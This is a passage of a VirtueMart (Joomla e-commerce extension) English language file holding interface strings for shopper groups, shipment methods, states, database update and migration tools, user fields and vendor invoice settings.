COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Select an item to toggle" COM_VIRTUEMART_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Select manufacturer category" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Please select a Payment Method in the tab Payment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_PERIOD="Select period" COM_VIRTUEMART_SELECT_PRODUCT="Select a product" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Please select a Shipment Method in the tab Shipment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Select a user to modify" COM_VIRTUEMART_SEND_BUTTON="Send" COM_VIRTUEMART_SEND_SUB="Account details for %s at %s" COM_VIRTUEMART_SETSTOREOWNER="Set store owner" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Default Shopper group changed" COM_VIRTUEMART_SHARED="Shared" COM_VIRTUEMART_SHARED_TOGGLE_OFF="Set unshared" COM_VIRTUEMART_SHARED_TOGGLE_ON="Set shared" COM_VIRTUEMART_SHIPMENTMETHOD="Shipment Method" COM_VIRTUEMART_SHIPMENTMETHOD_S="Shipment Methods" COM_VIRTUEMART_SHIPMENT_CLONE="Clone shipment" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Shipment successfully cloned" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Shipment Description" COM_VIRTUEMART_SHIPMENT_NAME="Shipment Name" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Shipment Name" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Shipment cloning failed" COM_VIRTUEMART_SHIPPINGRATE="Shipment Rate" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Shipment Rate Details" COM_VIRTUEMART_SHIPPINGRATE_S="Shipment Rates" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Shipment Method" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Select the Shipment Method to use for this method, and click Apply button for Joomla 1.5.x, or Save button for Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Shipment Description" COM_VIRTUEMART_SHIPPING_FORM_NAME="Shipment Name" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Shipment name" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_SHIPTO_TEXT="You can add shipment locations to your account. Please think of a suitable nickname or code for the shipment location you select below." COM_VIRTUEMART_SHOPPERGROUP="Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_ADDED="The Shopper Group has been added." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Shopper group already exists for this vendor." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="You can't set this shopper group %1$s with id %2$s as default" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Default Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="New shoppers will be assigned to this group" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="You can't delete the default shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="There are still users assigned to this shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Cannot delete the default Shopper Group." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="This Shopper Group Id" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Please select a Shopper Group to delete." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="There are still Users assigned to this Shopper Group ID" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Shopper Group Description" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Shopper Group Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Enable shoppergroup specific price display" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Price Discount on default Shopper Group (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="A positive amount X means" COM_VIRTUEMART_SHOPPERGROUP_GUEST="Guest Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR="People who are not logged get automatically assigned to the group guest" COM_VIRTUEMART_SHOPPERGROUP_IDS="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Shopper Group Discount" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Shopper Group incl. Tax" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="You must enter a Shopper Group name." COM_VIRTUEMART_SHOPPERGROUP_NAME="Shopper Group Name" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="The given shopper group name already exists for the given vendor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Shopper group names should not have more than 32 characters" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="shopper groups must have a name" COM_VIRTUEMART_SHOPPERGROUP_S="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="The Shopper Group has been updated." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Failed to update the Shopper Group" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Shopper group name" COM_VIRTUEMART_SHOPPER_STATE_NAME="state name" COM_VIRTUEMART_SHOW="Show" COM_VIRTUEMART_SHOW_DISCOUNTED="Discounted Products" COM_VIRTUEMART_SHOW_FEATURED="Featured Products" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Show the Remember me checkbox on login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="When checked, the remember me box is shown on checkout. Not recommended when using shared ssl, because the shopper could choose not to get a user cookie - but that user cookie is required to keep the user logged in on both domains." COM_VIRTUEMART_SHOW_TITLE="Show Title" COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" COM_VIRTUEMART_SQL_ERROR="SQL Error" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Categories Layout" COM_VIRTUEMART_START_DATE="Start Date" COM_VIRTUEMART_START_SYNCRONIZING="Start Synchronizing!" COM_VIRTUEMART_STATE="State" COM_VIRTUEMART_STATES_COUNTRY="States of country %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="View states list of
       %1$s" COM_VIRTUEMART_STATE_2_CODE="State (2) Code" COM_VIRTUEMART_STATE_3_CODE="State (3) Code" COM_VIRTUEMART_STATE_COUNTRY="State for country %1$s" COM_VIRTUEMART_STATE_DETAILS="State details" COM_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_STATE_LIST_LBL="State List for" COM_VIRTUEMART_STATE_NAME="State Name" COM_VIRTUEMART_STATE_S="States" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="active Products" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Shoppers" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inactive Products" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="New Shoppers" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="New Orders" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistics" COM_VIRTUEMART_STATISTIC_SUM="Sum" COM_VIRTUEMART_STATISTIC_SUMMARY="Control Panel" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of Stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_LOW="Product stock low" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Product stock sufficient" COM_VIRTUEMART_STOCK_LEVEL_OUT="Product not in stock!" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s must have a name." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s is empty. This field is obligatory, please enter your data and store again." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s primary key is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function Forbidden for non vendors" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s function reserved for administrator Only" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s successfully moved down" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s successfully moved up" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action not performed. Please check %1$s first and come back here." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="To use these tools fully, you must check '%1$s' in the Configuration panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="The configuration setting '%1$s' is enabled. Please disable this for security measures here in the Configuration panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="System defaults restored!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart data removed" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart tables removed" COM_VIRTUEMART_TAX_EFFECTING="Tax Affecting: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Default template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textarea attributes" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfield attributes" COM_VIRTUEMART_THANK_MESSAGE="Thank you for your Enquiry. We will contact you as soon as possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="contact the developer %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual for %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail not found" COM_VIRTUEMART_TIME="Time" COM_VIRTUEMART_TITLE="Title" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Title in fieldvalues contains invalid characters" COM_VIRTUEMART_TOGGLE_ADMIN="Toggle Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Toggle Hidden" COM_VIRTUEMART_TOOLS_MOD="Tools" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renew VirtueMart configuration by file" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Delete config stored in database, load defaults from file and set in session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

      The configuration settings are reset with the values from the file /administrator/components/com_virtuemart/virtuemart.cfg

      " COM_VIRTUEMART_TOOLS_RESTHUMB="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_CONF="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_TIP="Usually you need this only when you changed the automatically resized thumbnail size, or for shops installed originally with a version lower than 2.0.22. This command deletes all resized folders and create them new. During the process the automatically thumbnail creation is deactivated. Also all entries of the thumbnail urls are deleted. The reason is that we do not store anylonger the default." COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sync Joomla
      Users" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Uploads your media to the paths:
      Media product url: %s
      Media category url: %s
      Media manufacturer url: %s

      You can change these urls in the config settings.

      " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="To set the parent category" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="To set the parent category view" COM_VIRTUEMART_TO_SET_PRODUCT="To set the product" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_TRANSLATIONS="Translations" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
      To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Unpublish" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNWRITABLE="Unwriteable" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_UPDATEDATABASE="Install or if necessary update tables" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Install/update tables?" COM_VIRTUEMART_UPDATE_ALL="everything" COM_VIRTUEMART_UPDATE_ATTR="Product Attributes (use after you migrated the products)" COM_VIRTUEMART_UPDATE_ATTR_2="The product attributes are the ones from the field Attribute list in the Product Status tab.
      Note:
      When the price are with a + or - sign, they are migrated.
      When the price starts with =, it is set to 0 in the product custom field. A message will be displayed indicating which attribute price was set to 0." COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Check now!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Download Update" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Latest VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart Version installed here" COM_VIRTUEMART_UPDATE_GENERAL="general (media, categories, manufacturers, etc, ...)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="This will install the sample VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_MIGRATION="Updating & Data migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server settings of max execution time" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Memory limit of the server" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Choose a task for migration" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Start to migrate %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Data migration from VirtueMart 1.1.x to VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

      Warning

      Please use those tools only if you understand what you are doing. The tool install or if necessary updat tables is usually safe to use. It does the same as the update procedure. The other commands can break your shop or remove all user data completly. This tools are done for developers.
      Except the delete all data is also meant for people who want completly uninstall the shop and delete all database data. Please use with caution. When using in a broken live shop make an export of your database first. Disable your joomla debug, it can create trouble for nothing, use the vmdebug option instead." COM_VIRTUEMART_UPDATE_NONEWVERSION="You are running the latest VirtueMart version" COM_VIRTUEMART_UPDATE_ORDERS="orders only" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Apply Patch now" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="I have read the Warning and I'm sure to apply the Patch Package to my VirtueMart Installation now." COM_VIRTUEMART_UPDATE_PATCH_DATE="Release Date" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Not all files/directories which need to be updated are writable. Please correct the permissions first." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Files to be updated" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Please mark the checkbox before you apply the Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Queries to be executed on the Database" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="File/Directory not writable" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Writable" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Synchronized %1$s media for %2$s in directory %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Synchronized alltogether %1$s files" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="The synchronisation is not finished, please execute again" COM_VIRTUEMART_UPDATE_PRODUCTS="products only" COM_VIRTUEMART_UPDATE_REL="Migrate related products into vm2 (beta, try after you migrated the products)" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remove
      VirtueMart Data" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="This will remove all VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remove
      VirtueMart Tables" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="This will remove all VirtueMart tables leaving VirtueMart unusable. Are you sure?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restore
      System Defaults" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="This will restore your settings to the defaults. Are you sure?" COM_VIRTUEMART_UPDATE_STATUS="Update Order Status" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Tools" COM_VIRTUEMART_UPDATE_USERS="users only" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Update VM plugin tables" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Installing an Update for VirtueMart using a Patch Package can cause damage on your site if you have already modified some files of the VirtueMart component. The Patching Process will overwrite all the files listed below - it won't just apply smaller changes (diff), but replace the existing file with the new one. If you have modified VirtueMart files on your own, this can lead to inconsistent files and missing class/function dependencies." COM_VIRTUEMART_UPDATE_WARNING_TITLE="General Warning" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="The Update was SUCCESSFUL" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="File with same name already exist" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hello %s, Thank you for registering at %s. You may now login to %s using the username and password you registered with." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hello %s, Thank you for registering at %s. Your account is created and must be activated before you can use it. To activate the account click on the following link or copy-paste it in your browser" COM_VIRTUEMART_USER="Shopper " COM_VIRTUEMART_USERFIELD="Shopper Field" COM_VIRTUEMART_USERFIELDS="Userfield" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Add a Value" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use the table below to add new values." COM_VIRTUEMART_USERFIELDS_COLUMNS="Columns" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, field-tip" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext and URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Max Length" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Extra plugin parameters" COM_VIRTUEMART_USERFIELDS_READONLY="Read-Only" COM_VIRTUEMART_USERFIELDS_ROWS="Rows" COM_VIRTUEMART_USERFIELDS_SIZE="Field Size" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL only" COM_VIRTUEMART_USERFIELD_DETAILS="Shopper Field Details" COM_VIRTUEMART_USERFIELD_S="Shopper Fields" COM_VIRTUEMART_USERGROUPS_ADD="Add / Edit a User Group" COM_VIRTUEMART_USERGROUPS_LEVEL="User Group Level" COM_VIRTUEMART_USERGROUPS_LIST=" User Group List" COM_VIRTUEMART_USERGROUPS_LIST_NAME="User Group Name" COM_VIRTUEMART_USERGROUP_DETAILS="Usergroup Details" COM_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USERS="Users" COM_VIRTUEMART_USERS_SYNCRONIZED="Users Synchronized!" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="You cannot delete this user as it is the only active Super Administrator for your site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="You cannot change this users group as the user is the only active Super Administrator for your site." COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add Address" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To Information" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Change Contact Details" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Please fill out the required fields!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Please fill out the required fields, you may take a look on the tab %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register Date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Shipment Addresses" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_ISNOTVENDOR="Not a vendor" COM_VIRTUEMART_USER_ISVENDOR="Is a vendor" COM_VIRTUEMART_USER_IS_VENDOR="Vendor?" COM_VIRTUEMART_USER_LIST_LBL="Shopper List" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No Shipment Addresses." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="User registration is disabled, it must be enabled in order to proceed." COM_VIRTUEMART_USER_S="Shoppers" COM_VIRTUEMART_USER_SAVED="Shopper saved" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="User %s has an incomplete profile" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Shopper Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_VALUE="Value" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Values are required for this type." COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDORLETTER="Invoices/Emails" COM_VIRTUEMART_VENDORLETTER_DESC="Here you can configure the look of invoices, delivery notes etc. You can take a look at a preview page (after saving the changes) HERE." COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_FIELD_EMAIL="Status mail configuration" COM_VIRTUEMART_VENDOR_FIELD_INVOICE="Invoice configuration" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VENDOR_IMAGE="Vendor image" COM_VIRTUEMART_VENDOR_INVOICE_FREE1="Invoice custom text top" COM_VIRTUEMART_VENDOR_INVOICE_FREE1_DESC="Define a custom text that will be displayed at the top of your invoice." COM_VIRTUEMART_VENDOR_INVOICE_FREE2="Invoice custom text bottom" COM_VIRTUEMART_VENDOR_INVOICE_FREE2_DESC="Define a custom text that will be displayed at the bottom of your invoice." COM_VIRTUEMART_VENDOR_LETTER_A4="A4" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS="Append Terms of Service" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK="Pagebreak before Terms" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK_TIP="If the TOS are appended to the invoices, insert a page break before the TOS." COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_TIP="If checked, the Terms of Service will be appended (optionally after a line break) to all invoices, e.g. to fulfill a legal requirement." COM_VIRTUEMART_VENDOR_LETTER_CSS="CSS Styles for the Document" COM_VIRTUEMART_VENDOR_LETTER_FONT="Default Font" COM_VIRTUEMART_VENDOR_LETTER_FONTS="Appearance" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE="Contents Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_FOOTER="Footer Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_HEADER="Header Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_TIP="PDF invoices will be produced with the selected font as default font. Selecting a UTF-8 Unicode Font will increase the size of the invoices and the size of the pdf produced in product details view PDF, but it will also support Greek, Cyrillic, etc." COM_VIRTUEMART_VENDOR_LETTER_FOOT="Invoice footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER="Display footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_CELL_RATIO="Footer cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_COLOR="Background color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE="Line above footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_REPEAT="Repeat on subsequent pages" COM_VIRTUEMART_VENDOR_LETTER_FORMAT="Page Format" COM_VIRTUEMART_VENDOR_LETTER_HEAD="Invoice Head" COM_VIRTUEMART_VENDOR_LETTER_HEADER="Display header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_CELL_RATIO="Header cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGE="Include Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGESIZE="Size of Vendor Image" 